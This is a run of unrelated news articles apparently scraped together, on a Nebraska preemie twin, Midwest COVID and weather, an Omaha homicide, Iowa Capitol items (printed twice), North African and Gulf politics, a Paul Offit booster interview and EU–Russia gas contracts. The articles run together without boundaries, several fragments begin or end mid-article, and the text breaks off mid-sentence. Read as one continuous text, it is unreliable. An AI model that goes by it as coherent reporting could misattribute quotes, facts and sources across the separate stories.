problems, and after multiple doctors' visits, she was diagnosed with uterine didelphys, which means she has two uteruses. It's fairly rare, occurring in about 1 out of every 3,000 women. What's even more rare, however, is when a woman with the condition becomes pregnant with twins, one in each uterus. That's what happened to Phipps, and it ended in an extraordinary journey of tragedy and triumph. About five months into her pregnancy, she went into pre-term labor, and despite doctors' best efforts, they couldn't stop it. So in June, her twin girls, Riley and Reece Martin, were born a day apart, at about 22 weeks of gestation, at Bryan East Campus. Riley, who was born on June 11, died after 12 days in Bryan's neonatal intensive care unit. But Reece, who was born June 12 weighing just over a pound, managed to hang on. Dr. Craig Sitzman, a neonatologist at Bryan Health, said that a few years ago, most hospitals wouldn't have even have tried to keep babies as young as Riley and Reece alive. "Babies born this early aren't ready," Sitzman said. They can't breathe on their own. Their skin is paper thin, even translucent. Their hearts often don't function correctly. While at Bryan, Reece had to have nearly a dozen blood transfusions and spent 45 days on a ventilator. That's what makes the success of her going home so impressive. After a stay of 144 days in Bryan's NICU, she left the hospital with Phipps and dad Dillon Martin on Nov. 2. The girl who was born weighing little more than a bottle of soda had grown to more than 8 pounds by then. Though babies born that premature often suffer a host of physical and neurological problems, Reece has not shown any signs of major complications. "She is a true miracle," said Kallie Gertsch, a nurse in Bryan's NICU who cared for the infant during much of her stay. Gertsch, who has spent 14 years as a NICU nurse, said the girl was "definitely the biggest success that I have witnessed." It turns out she also is the youngest preemie born at Bryan to survive and one of only a few that young ever documented worldwide. Bryan, citing data from the Tiniest Baby Registry at the University of Iowa, said Reece is only the 26th baby ever born before 23 weeks of gestation to survive. No other babies that young from Nebraska are listed in the registry. Phipps described the roller-coaster experience: the very early births, her own recovery, and the loss of baby Riley. She said the first days were extremely hard, not only the loss of one child, but the knowledge that, "I could potentially lose another one." On the day that Riley died, Phipps said she made a promise to Reece, "that as long as she kept fighting, that I would keep fighting with her. "And she did," Phipps said. But it was a long, hard road. She said she made the Bryan NICU her home for the nearly five months her daughter was there. COVID-19 rules made it even tougher, because Reece's older siblings weren't allowed to visit their sister. "It took a toll on me, but I'm glad and thankful that I got to take my baby home." Reach the writer at 402-473-2647 or molberding@journalstar.com. On Twitter @LincolnBizBuzz. Nebraska's COVID-19 cases, hospitalizations and deaths all hit their highest point in nearly a year last week with the delta surge showing no signs of abating. As of Thursday, 611 Nebraskans statewide were hospitalized with COVID, the highest figure since Dec. 15, 2020, according to a World-Herald analysis of federal Centers for Disease Control and Prevention data. That was a time before vaccines were available. By Sunday, the statewide total had dipped slightly to 601, according to the state's hospital capacity dashboard. But that included 342 COVID patients in Omaha-area hospitals, with nearly 100 in intensive care, according to the Douglas County Health Department's dashboard. For the week ending Thursday, Nebraska posted 7,008 new cases of COVID-19, the first time weekly cases have surpassed 7,000 since the first week of January. Nebraska also reported 80 COVID-related deaths last week, the highest since the second week of January. Nebraska's case rate put it at No. 19 among a group of mostly Northeastern and Midwestern states experiencing the fall surge. Four states now have called in their National Guards to help staff hospitals or nursing homes. In Nebraska, the delta surge began in June, just as Nebraska Gov. Pete Ricketts lifted the COVID-19 state of emergency. The surge is the most extended the state has seen during the pandemic, with hospitalizations plateauing at a high level during much of September and October before beginning a steep climb last month. Ricketts said in a statement Monday that Nebraska hospitals had 987 COVID-19 patients in November 2020 and provided excellent care. The current count is about 60% of last year's peak. "Doctors and nurses across the state continue to provide great care for Nebraskans," he said. Nebraska Medicine officials on Monday further limited the type of surgeries performed at the Nebraska Medical Center because of the demand for inpatient beds and the effects of COVID-19. As of Monday, the hospital was operating six COVID units and anticipated opening a seventh this week. Dr. James Lawler, a co-executive director for the University of Nebraska Medical Center's Global Center for Health Security, said the delta surge may not slow for a couple of weeks. He also expects to see more omicron cases in late December or January and for influenza cases to begin piling up. Health systems have nowhere near the resilience and capacity they had last fall, he said. Hospitals were able to clear a lot of beds ahead of that anticipated surge. But this fall, they have seen increases in patients seeking regular and delayed care on top of the COVID influx. Hospital staff are burned out, and some have left hospitals across the state. "There's much less reserve and flexibility now than we had a year ago, and I think we're only entering the really bad part of this respiratory (virus) season," Lawler said. "I think we're going to get the triple whammy of delta, omicron and flu." Several local doctors also tweeted over the weekend about the toll of working in their hospitals' intensive care units and seeing so many patients critically ill. Nebraska continues to lag in vaccinations, according to CDC data. Only 58.7% of Nebraskans now are fully vaccinated, below the 60.8% U.S. rate and ranking 25th among states. Ricketts again urged vaccination as the best available tool to reduce the likelihood of severe illness and hospitalization, noting that more than 90% of Nebraskans over age 65 have been vaccinated. "I encourage Nebraskans to consult their doctor about vaccination, especially those at higher risk from the virus due to age or medical condition," he said in his statement. The percentage of Nebraskans fully vaccinated is inching up, gaining .8% last week over the previous week. "There still are adults who've been eligible for a long time who are getting vaccinated," Lawler said. "It's not a hopeless cause. Our community leaders could have a huge impact if they could advocate strongly for vaccinations." But of the 75,000 new doses administered last week, nearly two-thirds were boosters. Only 35.6% of Nebraska children ages 5 to 17 have received at least one dose. That's less than half the rate of top-ranking states and ranks 28th among the states. Lawler said most patients hospitalized with COVID are younger people who are unvaccinated, older people who haven't gotten boosters and people who are immunocompromised. He also encouraged masking in public indoor places. State health officials said last week that people who are not fully vaccinated now are 14 times more likely to be hospitalized with COVID-19 than those who are fully vaccinated. Colorado Gov. Jared Polis last week spoke more bluntly about the mostly unvaccinated patients filling up that state's hospitals. Everybody had more than enough opportunity to get vaccinated, Polis told Colorado Public Radios Ryan Warner, adding: At this point, if you haven't been vaccinated, it's really your own darn fault. Those who get sick, it's almost entirely their own darn fault. A man has been arrested in Council Bluffs in connection with a homicide that occurred Monday evening at 4727 Erskine St. in Omaha. Omaha Police officers responded to a home invasion with shots fired at 7:28 p.m. Officers located a man in a vehicle north of the residence with apparent gunshot wounds. The victim, Diego Vicharra, 21, was declared dead at the scene by Omaha Fire Department medics, according to a press release from the Omaha Police Department. As the investigation continued, detectives developed information on the suspect. Patrick Keenan, 41, was located in Council Bluffs and arrested on suspicion of second-degree murder, use of a weapon to commit a felony and possession of a firearm by a prohibited person, the press release stated. He will be extradited to Omaha. Robert Bailey, 27, was also located and was arrested on suspicion of burglary and possession of a firearm by a prohibited person for his role in the home invasion. He is not considered a suspect in the murder of Vicharra. Investigators said they would like to thank the OPD Gang Unit and Council Bluffs Police Department for their assistance in the quick apprehension of the suspects. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Council Bluffs Community Schools will dismiss early Wednesday because of the forecast of wind gusts from 65 to 75 miles per hour between 3 and 6 p.m., the district announced Tuesday evening. For the safety of everyone traveling home from school, all schools will follow their Monday dismissal times of 12:50 p.m. for middle school, 1:35 p.m. for high school and 2:05 p.m. for elementary. Kids & Company will be open right after dismissal at the elementary school sites for all registered families. All after-school practices and activities will be cancelled. Lewis Central Community Schools, as always, will dismiss one hour early on Wednesday for professional development. MALVERN (AP) An historic grocery housed in a nearly 150-year-old building in the western Iowa town of Malvern has been destroyed in a fire. Mulholland Grocery on the town's Main Street burned Monday night in a multi-alarm fire that required the efforts of nearly a dozen area fire departments to extinguish, Omaha, Nebraska-based television station KETV reported. Firefighters say the fire broke out around 5:30 p.m., while the store was still open for business, but no one was hurt in the blaze. Owner Tom Mullholland said the building first opened in the 1870s as a dry goods store. Its been in the Mulholland family for all but 17 years since. It has served as grocery store, catering business and butcher shop for residents throughout Mills County. In 2013, it was the state winner of Iowas Dream Big, Grow Here contest, and has been named one of the top 10 markets for the state. In a Facebook post, Mulholland offered a message to his great grandfather and grandfather who ran the store more than a decade ago. I am sincerely sorry for the loss of what so many worked so hard for, for well over a century," he wrote. The blood, sweat, and tears of many rest there, and memories for many more. Mullholland has not said whether he'll rebuild the store. Malvern is about 30 miles southeast of Council Bluffs. The National Weather Service has issued a high wind warning for Wednesday in western Iowa and Nebraska. The weather service said to expect southwest winds 30 to 40 mph with gusts up to 70 mph possible. The warning is effective from 9 a.m. to 9 p.m. on Wednesday. The strongest winds are expected after noon. "People should avoid being outside in forested areas and around trees and branches," the weather service said in its warning. "If possible, remain in the lower levels of your home during the windstorm, and avoid windows. Use caution if you must drive." The high winds bring the possibility of "damage to trees, power poles, structures, as well as hazardous travel for high-profile vehicles," the weather service said in its forecast discussion. When the weather service's Valley, Nebraska office issued its high wind watch on Monday, it was only the 10th time in the last 15 years that has happened, Meteorologist Tyler Nicolaisen said. Travelers should be prepared for dangerous conditions and check for updates on the 511ia.org website, which contains information for anyone traveling in the state. "Because the winds will be coming from the south-southwest, we expect more trouble (for motorists) along Interstate 80 than (Interstate) 29," Nicolaisen said. The high winds could result in widespread power outages, Nicolaisen said. And with dry conditions, a red flag fire advisory is also in effect. Residents can prepare for outages by making a kit with necessities like water, non-perishable food, medication and a battery-operated radio. Also, make sure to have flashlights and batteries handy. It's also a good idea to charge up laptop computers and cell phones ahead of the storm. Eppley Airfield will be open for flight operations Wednesday, but the high wind warning means travelers should keep in contact with airlines, said Steve McCoy, a spokesman for the Omaha Airport Authority. Each airline and its respective flight crews will make determinations regarding flights, he said. "Our biggest piece of advice for travelers is to remain in contact with their airlines, via phone, app or website, for any changes in their flight's status," McCoy said. Adding insult to injury, there's also the possibility of rain, the weather service said. There's an 80% chance of rain and possibly a thunderstorm during the day. The high Wednesday is around 69, with an evening low around 30. Here's the upcoming forecast, according to the weather service: Wednesday: Rain and possibly a thunderstorm, mainly after 3 p.m. High near 69. Windy, with a south wind 17 to 22 mph increasing to 30 to 40 mph in the afternoon. Winds could gust as high as 70 mph. Chance of precipitation is 80%. New rainfall amounts of less than a tenth of an inch, except higher amounts possible in thunderstorms. Wednesday night: Mostly clear, with a low around 30. Very windy, with a southwest wind 27 to 37 mph becoming west northwest 11 to 21 mph. Winds could gust as high as 65 mph. Thursday: Sunny, with a high near 43. West northwest wind 5 to 10 mph becoming light and variable in the afternoon. Winds could gust as high as 16 mph. Thursday night: Partly cloudy, with a low around 28. East southeast wind 3 to 6 mph. Friday: Mostly sunny, with a high near 43. Friday night: Partly cloudy, with a low around 19. Saturday: Sunny, with a high near 30. Saturday night: Mostly clear, with a low around 19. Sunday: Mostly sunny, with a high near 40. Sunday night: Partly cloudy, with a low around 22. Monday: Mostly sunny, with a high near 33. Monday night: Partly cloudy, with a low around 18. Tuesday: Mostly sunny, with a high near 39. -- Kevin Cole of the Omaha World-Herald contributed. Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A roundup of legislative and Capitol news items of interest: NEW TAX TOOL: GovConnectIowa is available for business owners and business tax filers to access new, user-friendly tools to simplify filing and paying taxes. Existing sales, use, withholding and fuel tax permits have been migrated into GovConnectIowa. Business owners with existing tax permits are required to create a new GovConnectIowa account to access current Iowa tax accounts. Learn more at govconnect.iowa.gov. After Feb. 4, eFile & Pay will no longer be available for sales, use and withholding taxes, and these tax types must be filed using GovConnectIowa. Individual income and corporate income tax payments can continue to be made in eFile & Pay. However, future dating of payments is not available in eFile & Pay, and payments must be submitted on the day you want the payment to be processed. VIRTUAL PUBLIC HEARING: Gov. Kim Reynolds will conduct a virtual public budget hearing at 3 p.m. Thursday. This hearing will serve as the annual open forum on the state budget, and Iowans will have the opportunity to participate virtually. Members of the public wishing to participate should contact Ryan Capps at ryan.capps@governor.iowa.gov. JOHNSON COUNTY REFUGE REOPENS: The 1,800-acre refuge section of the Hawkeye Wildlife Management Area in Johnson County will reopen for public use Friday for trapping and hunting game species, including geese. All regulations, shooting hours, bag limits, and license and tag requirements apply during the respective seasons. STATE FAIR BOARD: Six members of the Iowa State Fair Board were re-elected during the Iowa Association of Fairs Conference annual meeting this past weekend in Des Moines. Delegates who attended the meeting from six geographic districts in Iowa elected two board members to serve two-year staggered terms on the Iowa State Fair Board. Directors re-elected to their districts are Darwin Gaudian, Primghar (northwest); Alan Brown, Hampton (north central); John Harms, Monticello (northeast); C.W. Thomas, Guthrie Center (southwest); Randy Brown, Osceola (south central); and Curtis Claeys, Grand Mound (southeast). Board officers re-elected were: Tennie Carlson, Stratford, president; Gaudian, vice president; and Claeys, treasurer. Other board members are Dave Hoffman, Le Mars (northwest); Gary McConnell, Bloomfield (southeast); Deb Zumbach, Coggon (northeast); Jo Reynolds, Indianola (south central); and Gary Van Aernam, Exira (southwest). The 2022 Iowa State Fair will be Aug. 11-21. For more information, visit iowastatefair.org. Compiled by the Des Moines Bureau A roundup of legislative and Capitol news items: NEW TAX TOOL: GovConnectIowa is available for business owners and business tax filers to access new, user-friendly tools to simplify filing and paying taxes. Existing sales, use, withholding and fuel tax permits have been migrated into GovConnectIowa. Business owners with existing tax permits are required to create a new GovConnectIowa account to access current Iowa tax accounts. Learn more at govconnect.iowa.gov/. After Feb. 4, eFile & Pay will no longer be available for sales, use and withholding taxes, and these tax types must be filed using GovConnectIowa. Individual income and corporate income tax payments can continue to be made in eFile & Pay. However, future dating of payments is not available in eFile & Pay, and payments must be submitted on the day you want the payment to be processed. VIRTUAL PUBLIC HEARING: Gov. Kim Reynolds will conduct a virtual public budget hearing at 3 p.m. Thursday. This hearing will serve as the annual open forum on the state budget, and Iowans will have the opportunity to participate virtually. Members of the public wishing to participate should contact Ryan Capps at ryan.capps@governor.iowa.gov. JOHNSON COUNTY REFUGE REOPENS: The 1,800-acre refuge section of the Hawkeye Wildlife Management Area in Johnson County will reopen for public use Friday for trapping and hunting game species, including geese. All regulations, shooting hours, bag limits, and license and tag requirements apply during the respective seasons. STATE FAIR BOARD: Six members of the Iowa State Fair Board were re-elected during the Iowa Association of Fairs Conference annual meeting this past weekend in Des Moines. Delegates who attended the meeting from six geographic districts in Iowa elected two board members to serve two-year staggered terms on the Iowa State Fair Board. Directors re-elected to their districts are Darwin Gaudian, Primghar (northwest); Alan Brown, Hampton (north central); John Harms, Monticello (northeast); C.W. Thomas, Guthrie Center (southwest); Randy Brown, Osceola (south central); and Curtis Claeys, Grand Mound (southeast). Board officers re-elected were: Tennie Carlson, Stratford, president; Gaudian, vice president; and Claeys, treasurer. Other board members are Dave Hoffman, Le Mars (northwest); Gary McConnell, Bloomfield (southeast); Deb Zumbach, Coggon (northeast); Jo Reynolds, Indianola (south central); and Gary Van Aernam, Exira (southwest). The 2022 Iowa State Fair will be Aug. 11-21. For more information, visit www.iowastatefair.org. Compiled by the Des Moines Bureau We have used your information to see if you have a subscription with us, but did not find one. Please use the button below to verify an existing account or to purchase a new subscription. As a state entertaining a rentier economy, Algeria has long sought to gain influence in Africa and the Arab region through cash handouts during the era of expensive oil. After years of diplomatic lethargy during the Bouteflika era, the recycled military regime tries the same recipe, yet money has run out. Algeria first donated 100 million dollars to head of the Palestinian authority Mahmoud Abbas and later approved a loan of 300 million dollars to neighboring Tunisia triggering the wrath of Algerian economists who described the largess as Algeria punching above its economic weight. The era of using cash-handouts to buy influence is over. Through such moves, the Algerian military regime expects to polish its image by showing support to Palestine or win support for the Polisario separatist by bringing Tunisia into Algiers orbit. One would think Algeria is an advanced state to be in a position to give 400 million dollars in loans and donations and that its finances are in good shape. Algerias GDP has dropped by more than 40% since 2014 to near 140 billion dollars last year and the country has eaten into its foreign exchange reserves which plummeted from 200 billion dollars to near 30 billion dollars currently. The country, which depends on oil and gas for 98% of its exports, has seen its hydrocarbon sales plunge due to a steep rise in domestic consumption that makes any oil price hikes of little significance on the state budget. At the very time Algeria gives its tax-payers money to Tunisia and Palestine, Algiers has imposed a drastic import restriction policy that affected foodstuff, medicine and even new cars. The result can be seen in long queues of people waiting for a liter of milk or a kilo of potato while the price of used cars spiked due to lack of new ones. Regional diplomacy is but a reflection of the domestic situation. Algeria cannot push for an aggressive diplomacy after years of absence while its own house is in disarray. Algeria cannot simply aspire to mediate between Egypt and Ethiopia while it has created and fueled a crisis with its neighbor Morocco. Algeria, which represents all that is wrong with the African economy, is in a very lamentable financial, economic, political and social condition and has to fix its problems first because the era of gaining influence through charity is over. Armed clashes on Monday night between local police forces and a group affiliated with Khalifa Haftar, the strongman of eastern Libya, left one dead and two wounded in southern Libya, according to a hospital source. Armed with tanks and heavy artillery, a militia under the command of Mabrouk Sahbane of the al-Karama forces (the name of the military operation launched in 2014 by Marshal Haftar, who controls the east and part of the south of the country) seized 11 all-terrain vehicles intended for the police at gunpoint, said in a statement the Directorate of Security in Sebha, where the clashes took place. The group, which depends on Haftars forces, forced the convoy to head to the Brak airbase further south. Photos and videos released by local media showed heavy gunfire in the center of Sebha on Tuesday before dawn. The Sebha Security Directorate condemned the incidents, which it said were aimed at destabilizing Fezzan, the southern Libyan province. One dead and two wounded arrived last night at the emergency department following the incidents in the city, the Sebha Medical Center said Tuesday in a brief statement posted on Facebook. According to media reports, schools and public services were closed Tuesday throughout the city. Egypt is planning the production of a new Egyptian jab EgyVax in collaboration with private sector player Eva Pharma, the Supreme Council of Universities, and the Agriculture Research Center, the ministry of Higher Education and Scientific Research said in a statement. The Supreme Council of University Hospitals, the Center for Agricultural Research, and Eva Pharma Pharmaceutical Company will conduct inquiry studies for the production of the new Egyptian vaccine Egyvax against the novel coronavirus, as well as the research required to confirm from the safety and effectiveness of vaccine. Eva Pharma will manufacture the vaccine that will undergo clinical trials before getting the green light for production. The higher education and agriculture departments will work according to the statement on producing the viral antigen for the vaccine. Posted by North Africa Post North Africa Post's news desk is composed of journalists and editors, who are constantly working to provide new and accurate stories to NAP readers. The 42nd Summit of the High Council for Gulf Cooperation (GCC) was held this Tuesday, in the city of Al Ula, in the north-west of Saudi Arabia, with the participation of the leaders of its member states, Saudi Arabia, the United Arab Emirates, the Sultanate of Oman, Kuwait, Qatar and Bahrain. The summit has reaffirmed its positions and its firm decisions in favor of the Moroccan Sahara and the preservation of the security and stability of the Kingdom of Morocco and of its territorial integrity. This is what emerges from the final declaration, read by the Secretary General of the Cooperation Council for the Arab States of the Gulf, Nayef bin Falah Al-Hajarf, at the end of this forty-second summit of the GCC. The declaration also welcomed the Security Council resolution n 2602 of October 29, 2021 concerning the Moroccan Sahara. The Supreme Council also underlined the importance of the special strategic partnership between the Cooperation Council and the Kingdom of Morocco as well as its effective implementation. The High Council of the GCC is the highest authority and is made up of the leaders of the six states. It meets periodically (annually) and, during its 42nd session, entered its fifth decade of service. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} Ace Hardware in North Platte donated the mailboxes for the fundraiser, which is in its inaugural year. Dalene Skates, the executive director for Habitat for Humanity, said the organization reached out to the, artistic and creative people in the community and those who are passionate about Habitat. We went to our friends, Skates said, "but since then weve had people contact us and say, Hey, can I do a mailbox next year? We will probably open it up. I would be interest to see what we would get. This is a start and you never know how these events are going to go, because we like to do fun and unique events. The artists had all of November to finish their projects and the mailboxes will be on display at the arts center last Thursday. We didnt put any stipulations on (the artists) at all, Skates said. We said, Just use your creativity. What would you like a mailbox to look like? What would be fun for you? One winning bidder selected Hales hammer mailbox and donated it to the next family for a completed Habitat for Humanity project. The 32 countries taking part said they are bound by our joint determination to further strengthen democracy and the rule of law in our societies, according to the text, which was released after five hours of talks in Brussels. The word Russia was not once mentioned in the nine-page declaration, despite Moscow's opposition to any of the six countries involved in the partnership deepening ties with the EU. The EU announced that it would offer the Eastern countries a 2.3 billion-euro ($2.6 billion) economic and investment plan, which the bloc hopes will attract up to 17 billion euros ($19 billion) in public and private investments for the region. The EU also emphasized the need for differentiation the acceptance that some of the six may be in a position to deepen their relations with the bloc more quickly. Georgia, Moldova and Ukraine, for example, have free trade pacts that ease tariffs and other barriers to European trade. In 2014, Ukraines then president, Petro Poroshenko, signed its trade deal, ignoring vehement opposition from Moscow, and declared that his country wanted to join the EU. His pro-Russian predecessor was forced to flee Ukraine after his rejection of the free trade deal sparking months of pro-EU demonstrations. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Illustration: Intelligencer. Photo: Getty Images On November 29, a few days after South African scientists issued their first report on the Omicron variant, the CDC called for all adults to get a booster shot. The decision was based on the earliest data available on Omicron, which offered a preview of the variants ability to erode the protection of vaccines and prior infection, leading to increased transmissibility. But not everyone agreed. As a member of the FDAs vaccine advisory committee, Dr. Paul Offit, a professor of pediatrics at Childrens Hospital of Philadelphia, had not supported widespread boosting at the committees meetings in September and October when the agency authorized boosters for all adults. On the same day the CDC strengthened its recommendation, Offit co-authored an op-ed in the Washington Post with two former top officials in the FDAs office of vaccine research who reportedly resigned in the fall in part because of their opposition to the FDAs authorization of boosters for all. The trio wrote that they were in favor of boosters for people at high risk of serious illness, and those who might be in regular contact with the vulnerable, but they made an argument against boosters for all, writing that the focus on boosting interfered with vaccination campaigns and that vaccines continued to be extraordinarily effective, even against Omicron, which was in its infancy. Intelligencer called Offit to ask him about the latest data on Omicron and vaccines. Youve been vocal about your opposition to the idea that boosters can provide a path out of the pandemic. Has the latest data on Omicron changed anything for you? The evidence that we have so far is that protection against severe disease induced by two doses of an mRNA-containing vaccine all of the data are obviously with Pfizer is that youre going to be protected against serious illness, meaning the kind of illness that causes you to go the doctors office, the hospital, or the ICU. And thats what you would expect based on the other variants. The protection against serious illness is mediated by immunological memory cells, T-cells. Even though the viruss spike-protein level drifts and mutates, the T-cells are conserved. So youre seeing exactly what you would expect. I think whats different with Omicron is that youre not as well protected against mild illness. So the question is: What does the booster buy you? It buys you better protection against mild illness. But then the question becomes: For how long? Unlike protection against serious illness, which is mediated by memory cells that are long-lived, protection against mild illness is mediated by neutralizing antibodies that are not as long lived. So why are so many people insistent on recommending or requiring boosters for everyone? I think where we got seduced here was with the Phase III trials a year ago. When Pfizer and Moderna did those Phase III trials, they found that protection against mild illness was 95 percent. Thats remarkable. The reason it was remarkable is that those were three-month trials, so all of the participants had recently received their second doses. That wasnt going to last. People started talking about boosters when they saw fading immunity, even though it is what you would expect it was fading immunity against mild illness or asymptomatic infection, but protection against serious illness held up. Im not opposed to booster dosing. What I think we need to make clearer is why were boosting. There is certainly a value to boosting people who are older or people who live in long-term-care facilities. The question is, if were saying that healthy, young people need a booster dose, which is what weve just said, I think we need to explain to the American public that were getting prevention, for the most part, against mild illness, and it might not be long-lived. In all likelihood, even after a third dose, eventually antibodies will fade. The question, as Ive said, is for how long? I think weve confused people about what it means to be fully vaccinated. On the one hand you have the CDC recommending a booster dose for everybody over 18, which was rejected twice by the FDAs vaccine advisory committee and the CDCs advisory committee, and then on the other hand you have research institutes, universities, colleges, and hospitals that now have three-dose mandates while others have two-dose mandates. Weve confused people. Isnt any reduction in protection against mild illness, extrapolated over the entire population, going to be very burdensome on our hospital system? Whats burdensome to the hospital system are people who are unvaccinated. Im just coming off a one-week rotation at Childrens Hospital of Philadelphia and Im rotating through the COVID ward. During the week I was on service, of the 17 or 18 children we admitted most of whom were over 5, many of whom were over 12, a handful of whom went to the ICU what they all had in common was that none of them were vaccinated. Neither were their parents and siblings. Thats the problem. We could talk endlessly about booster dosing, or monoclonal antibodies, or antivirals, but we need to find a way to vaccinate the unvaccinated because thats the heart of this pandemic. Thats who spreads this virus, thats who generally gets hospitalized. If you talk to people who work in hospitals, they will tell you the same thing, which is that boosting the vaccinated is not our way out of this. You had expressed some concern over original antigenic sin, saying that some people may want to wait until a booster is customized to target a specific variant. Is that still the case? Take someone who has had two doses of vaccine, and who has a mild illness, and compare them to someone who didnt get any vaccine but has a mild illness. The person who is vaccinated will shed less virus for a shorter period of time. Thats based on a couple of studies. The question then becomes, will you move the needle on this pandemic by boosting the vaccinated? Will you in any significant way decrease shedding and therefore decrease contagiousness and therefore decrease spread by giving a third dose to somebody who has already gotten two doses? The CDC had a slide on this that said it was to be determined. Well see whether this makes an impact on the community. Maybe Im wrong, but I feel like by constantly discussing booster dosing were not talking about the thing thats really going to get us out of this: vaccinating everyone. Maybe its because weve given up, but I dont think we should give up. I have to believe theres some way to make this happen. Fifty percent of vaccinated Americans have already received a booster. Thats something like 30 percent of the U.S. population. Youve said there is evidence of that benefiting people medically, but what about a public-health benefit? I hope so. Well see. Well, I guess we wont see because were not doing any sort of controlled experiment on this, were just getting people who have already gotten two doses to get a third dose. You dont have any trouble scaring people who have already gotten two doses to get a third dose, or a fifth dose. Were in. Its the other group that you worry about. You should have had my experience last week in the hospital. Not one child was vaccinated. They all could have been vaccinated. Not one of those parents was vaccinated. Youre watching children getting wheeled up to the ICU, sedated, a tube put down their windpipe, attached to a ventilator, parents are crying. No ones vaccinated. Its just frustrating. What about people who are worried about long COVID from a mild infection? Because Omicron does have a number of mutations in the receptor-binding domain, I think that two doses of Pfizer vaccine will not be as effective at preventing mild illness, even if youve just gotten your second dose, as it was against Alpha or Delta or the other variants. I think youre less protected against mild illness. Some people would argue they dont want to suffer mild illness because they may go on to develop long-term COVID, or they may feel they are more likely to develop serious infection because Omicron is more contagious no vaccine is 100 percent effective against serious illness. That all makes sense, but realize that youre probably only buying a limited period of time during which youre boosting those antibodies and then lessening your risk of mild infection. Dr. Faucis point was that were this not a pandemic, this would have always been a three-dose vaccine, meaning that the best way to induce memory is to have three doses. Thats true for other vaccines. Thats true for inactivated bio-vaccines, like the polio vaccine. Its true for purified-protein vaccines like the hepatitis B vaccine. But we dont have any evidence for that yet in the United States. To date, the vaccines two doses appear to still protect against serious illness. So right now, its not a three-dose vaccine, its a booster dose. So which is it? A three-dose series because it gives us the highest frequencies of memory cells and the best protection against disease? Or is this a booster dose because were trying to boost the neutralizing antibodies and lessen mild infection? I just think we need to explain to the American public what it is were trying to do with this vaccine. How long until we have enough data to know which one of those explanations makes sense? It should be very soon. A few days ago Dr. Rochelle Walensky said we had 40 cases of Omicron and of those 40 cases, 10 hadnt been vaccinated. Of the other 30 people, some had received two doses and some had received three doses. Okay, well, that 40 will become 400, and then 4,000. Then you should have a very good idea as to whether or not that third dose really makes a difference and how virulent Omicron is in the unvaccinated, not previously infected person. It is incumbent upon the CDC to generate those data to prove that its important to get that third dose as compared with the second dose. Stanley Miller, another Lee County resident, said he understands those in the south of the county have wanted the ordinance in order to allow the Lee County Sheriffs Office jurisdiction over the matter. I called the police concerning a noise that was in my neighborhood, and they said they couldnt do anything about it, Miller told commissioners. Residents have long alleged the noises have come from the property of Margaret Brown, a local defense attorney. Brown faced four charges of disorderly conduct in May in connection with the noises before being released on bond. She was present at Mondays commission meeting for a separate matter unrelated to the ordinance, but she faced commissioners to continue defending herself. There does continue to be noise out there, but its not coming from the property I live on, Brown said. I had been at my dining table in my kitchen and heard a siren so loud that I thought it was coming from my front door. I have sat at my gate and heard so many roosters that I wouldve thought there was a chicken farm, but it wasnt coming from my property. Meet Workit Health Welcome to Workit, a whole new way to kick addictive behaviors to the curb. Our innovative digital health program blends the best of behavioral science, technology, and human-centered design. Learn more at http://workithealth.com/. Careers in Manufacturing Production Leader Growing up working side-by-side with her dad solving problems and discovering how things worked sparked the love of #STEM and learning to apply the sciences for Lisa Callender, Production Leader at a Dow. Lisa wants others to know that STEM Careers are more than studying science and math in school. Its about solving world problems; making products that help the world; and leaving work every day knowing you made a difference. Russia even went as far as suggesting that Europes current energy crisis is its own fault. Russia has maintained that the contracts are beneficial for Europe and moving away from them would be a mistake. The European Union (EU) is reportedly reconsidering its position on extending long-term natural gas contracts beyond 2049 as part of reforms in its natural gas market to meet the net-zero by 2050 goal. Should the European Commissions proposal be endorsed by EU heads of state and government this week, putting a timeline to the end of long-term gas contracts would open another rift with Russia, which provides one-third of Europes gas supply via pipelines under long-term deals. The measure, if approved by the EU, would run against Russias position that long-term deals are beneficial for Europe and moving away from them and increasing reliance on liquefied natural gas (LNG) was and will be a mistake. Some EU member states are wary of what they perceive as Moscow using gas as a political tool to influence geopolitics. However, as it stands, especially with the low levels of gas in storage and surging gas and energy prices, supply from Russia and Russias willingness to provide additional volumes to Europe on top of its contractual commitments has been and will be a key driver of the gas market and prices at European hubs this winter. Despite the current crisis, the EUs executive branch, the European Commission, is reportedly drafting plans to quit long-term gas supply contracts by 2049. At the same time, it plans to enhance the security of its gas supply, Bloomberg reported this week, citing a draft document prepared by the Commission. The EU has struggled with insufficient gas supply for months now, and the situation is not about to change as Russia continues to supply precisely what it had committed to deliver under long-term contracts. This has earned it accusations of using gas as a political weapon and increased the EUs determination to reduce its reliance on Russian gas. Russia, for its part, denies any accusations about using gas for geopolitics and reaffirms it supplies the volumes of gas to its customers in Europe as per long-term contracts. And it says Europes decisions to move away from long-term deals are one of the reasons for the current gas crisis. Related: The Worlds Top Automakers Are Doubling Down On Electric Vehicles [T]he practices of our European partners [are to blame]. These practices have reaffirmed that, properly speaking, they have made mistakes. We were talking with the former European Commission; all of its activities were aimed at curtailing the so-called long-term contracts and at transitioning to gas exchange trading, Russian President Vladimir Putin said in early October during a meeting to discuss Russias energy industry. It turned out and today this is absolutely obvious that this policy is erroneous, erroneous for the reason that it fails to take into account the gas market specifics dependent on a large number of uncertainty factors, Putin said, per the Kremlins website, just as Europes gas prices hit record highs. Weather and Russian gas flows will be the drivers of Europes gas market and prices this winter. Limited supply from Russiawhich is sending all the gas volumes per the long-term contracts but is not shipping too much extra supplyand a cold winter could leave European gas storage at very low levels, or even deplete the storage sites, analysts say. With the potential in-service date for the Nord Stream 2 pipeline still in limbo, the EU is scrambling to ensure both its supply and to possibly reduce, in the future, its dependence on Russia. The leaders of the European Union member states are also expected to discuss this week a new system to jointly buy natural gas in order to create strategic reserves to protect the countries and consumers from gas shortages and soaring energy prices. Despite the green agenda of the EU, gas will still play an important role in the energy markets on the continent. At the onset of the gas and electricity crisis in Europe this autumn, the International Energy Agency (IEA) said: The links between electricity and gas markets are not going to go away anytime soon. Gas remains an important tool for balancing electricity markets in many regions today. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: Natural gas prices in Europe soared higher after Germany indicated this week it had no intention of approving the Nord Stream 2 gas pipeline project before requirements under German law were satisfied. However, Foreign Minister Annalena Baerbock also said that the situation in Ukraine was also a factor in the German government's decision on the matter. "In the event of 